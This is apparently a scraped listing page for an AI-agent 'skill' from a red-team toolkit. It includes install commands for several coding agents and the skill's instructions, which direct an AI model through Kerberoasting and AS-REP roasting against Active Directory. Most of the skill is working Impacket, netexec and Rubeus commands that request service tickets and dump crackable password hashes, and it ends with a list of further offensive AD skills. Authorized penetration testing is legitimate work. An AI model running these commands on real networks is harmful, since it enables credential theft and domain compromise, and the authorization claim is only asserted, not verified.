acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP hashes (AS-REP Roasting) for offline password recovery.
Claude Code
$ npx -y skills add blacklanternsecurity/red-run --skill kerberos-roasting --agent claude-code
Codex
$ npx skills add blacklanternsecurity/red-run --skill kerberos-roasting -a codex -y
Cursor
$ npx skills add blacklanternsecurity/red-run --skill kerberos-roasting -a cursor -y
Gemini CLI
$ npx skills add blacklanternsecurity/red-run --skill kerberos-roasting -a gemini-cli -y
GitHub Copilot
$ npx skills add blacklanternsecurity/red-run --skill kerberos-roasting -a github-copilot -y
OpenCode
$ npx skills add blacklanternsecurity/red-run --skill kerberos-roasting -a opencode -y
Windsurf
$ npx skills add blacklanternsecurity/red-run --skill kerberos-roasting -a windsurf -y
name: kerberos-roasting description: > Extracts and cracks Kerberos service tickets (Kerberoasting) and AS-REP hashes (AS-REP Roasting) for offline password recovery. keywords: - kerberoast - kerberoasting - asreproast - AS-REP - GetUserSPNs - service ticket - SPN cracking - roasting - GetNPUsers - pre-authentication disabled - targeting AD service accounts with SPNs or accounts with pre-auth disabled tools: - Impacket (GetUserSPNs.py - GetNPUsers.py) - Rubeus - netexec - targetedKerberoast.py opsec: medium
You are helping a penetration tester perform Kerberoasting (extracting TGS tickets for offline cracking) and AS-REP Roasting (extracting AS-REP hashes from accounts without pre-authentication). All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
**Kerberos-first authentication:**
# Get a TGT first cd $TMPDIR && getTGT.py DOMAIN/user:'Password123' -dc-ip DC_IP # or with NTLM hash cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP export KRB5CCNAME=$TMPDIR/user.ccache # All Impacket roasting tools support -k -no-pass GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP -request GetNPUsers.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP
**Tool output directory**: `getTGT.py` writes `<user>.ccache` to CWD with no `-out` flag. Always prefix with `cd $TMPDIR &&`. TGS/AS-REP hash output files (via `-outputfile`) support explicit paths.
Claude Code cannot execute `sudo` commands. The following require root and must be handed off to the user:
**Handoff protocol:** Present the full command including `sudo`, ask the user to run it, then read the output file (`tee` captures timeroast output) or confirm completion (ntpdate).
**Non-privileged commands** Claude can execute directly:
Determine what access level is available:
1. **Valid domain credentials** (password, hash, or TGT) -> proceed to Step 2 2. **Username with DONT_REQ_PREAUTH known** -> skip to Step 5 (AS-REP) or Step 6 (Kerberoasting without domain account) 3. **Username list only, no credentials** -> skip to Step 5 (AS-REP) 4. **Write access to user objects (GenericAll/GenericWrite)** -> Step 7 (Targeted)
# List all user accounts with SPNs (no ticket request yet) GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP # With Kerberos auth GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass -dc-ip DC_IP
# Enumerate via LDAP and extract in one step nxc ldap DC01.DOMAIN.LOCAL -u 'user' -p 'Password123' \ --kerberoasting kerberoast.txt # With Kerberos auth nxc ldap DC01.DOMAIN.LOCAL --use-kcache --kerberoasting kerberoast.txt
# Statistics overview — encryption types, password age, admin status .\Rubeus.exe kerberoast /stats # List without requesting (enumeration only) .\Rubeus.exe kerberoast /stats /nowrap
Before mass-roasting, prioritize by:
# Request all SPN tickets GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \ -request -outputfile hashes.kerberoast # Target single user (reduces noise) GetUserSPNs.py DOMAIN/user:'Password123' -dc-ip DC_IP \ -request-user svc_mssql -outputfile hashes.kerberoast # With NTLM hash GetUserSPNs.py DOMAIN/user -dc-ip DC_IP \ -hashes :NTHASH -request -outputfile hashes.kerberoast # With Kerberos auth (most OPSEC-safe) GetUserSPNs.py DOMAIN/user@DC.DOMAIN.LOCAL -k -no-pass \ -request -outputfile hashes.kerberoast
# All SPNs (noisy — avoid in mature environments) .\Rubeus.exe kerberoast /outfile:hashes.kerberoast # Target single account .\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast # Admins only (smaller footprint) .\Rubeus.exe kerberoast /ldapfil
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL →…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse.…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…